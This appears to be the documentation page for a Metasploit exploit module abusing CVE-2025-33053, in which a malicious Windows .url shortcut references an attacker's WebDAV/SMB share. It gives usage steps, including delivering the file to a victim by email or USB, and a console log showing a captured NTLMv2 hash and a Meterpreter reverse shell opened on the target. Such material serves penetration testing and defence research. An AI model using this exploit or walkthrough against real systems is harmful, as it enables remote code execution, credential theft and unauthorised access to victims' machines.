## Vulnerable Application

CVE-2025-33053 - Internet Shortcut (.url) UNC Path Exploit

Windows improperly handles `.url` (Internet Shortcut) files referencing remote
UNC paths. Specifically, `.url` files that specify a remote working directory
(`WorkingDirectory=\\attacker\webdav`) and a trusted executable (e.g.,
`iediagcmd.exe`) may cause the system to access the attacker's server when opened.

This behavior can be exploited to:

- Trigger NTLM authentication leaks (SMB relay)
- Load remote payloads via WebDAV shares
- Attempt DLL sideloading if conditions allow

## Affected Versions

- Windows 10 22H2
- Windows 11 23H2
- Fully patched prior to June 2025 Patch Tuesday

## Verification Steps

1. Run: `use windows/fileformat/unc_url_cve_2025_33053`
2. Run: `set LHOST [IP address]`
3. Run: `set SRVHOST [IP address]`
4. Run: `run`
5. Deliver the `.url` to the target (email, USB, zip)
6. On victim's machine, open `.url`
7. Payload execution

### Overview

This module generates a malicious `.url` Internet Shortcut file that abuses
CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC
paths.

When opened on a vulnerable system, the `.url` causes the system to connect to a
UNC path(e.g., a WebDAV or SMB share), triggering an attempt to execute a trusted binary
from the attacker's location. This can result in RCE or credential leaks.


## Options

### OUTFILE
This option allows user to define their own .url file. If this option is not set, the module will generate random .url file - `YWSXVjpW.url`.

### FOLDER_NAME
The `FOLDER_NAME` option defines SMB share folder, where the final payload file is stored. Generally can be anything, default is `webdav`.

### FILE_NAME
This option defines payload file stored in SMB share. This option should not change as it is bound to executable in `URL` parameter of `.url` file. The default value is `explorer.exe`.


## Scenarios

```
msf exploit(windows/fileformat/unc_url_cve_2025_33053) > run verbose=true 
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

msf exploit(windows/fileformat/unc_url_cve_2025_33053) > [*] Started reverse TCP handler on 192.168.3.7:4444 
[*] URL file: /home/ms/.msf4/local/YWSXVjpW.url, deliver to target's machine and wait for shell
[*] Run following: curl http://192.168.3.7:8080/YWSXVjpW.url -o YWSXVjpW.url
[*] Server is running. Listening on 192.168.3.7:4445
[*] The SMB service has been started.
[*] Received SMB connection from 10.5.132.137
[SMB] NTLMv2-SSP Client     : 10.5.132.137
[SMB] NTLMv2-SSP Username   : WIN10_22H2_7FD2\msfuser
[SMB] NTLMv2-SSP Hash       : msfuser::WIN10_22H2_7FD2:[HASH]

[*] Sending stage (203846 bytes) to 10.5.132.137
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.137:49740) at 2025-06-24 16:08:56 +0200

msf exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  WIN10_22H2_7FD2\msfuser @ WIN10_22H2_7FD2  192.168.3.7:4444 -> 10.5.132.137:49740 (10.5.132.137)

msf exploit(windows/fileformat/unc_url_cve_2025_33053) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN10_22H2_7FD2
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```


## References

- [GitHub PoC](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-33053)
- [LOLBAS Project](https://lolbas-project.github.io)
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053)

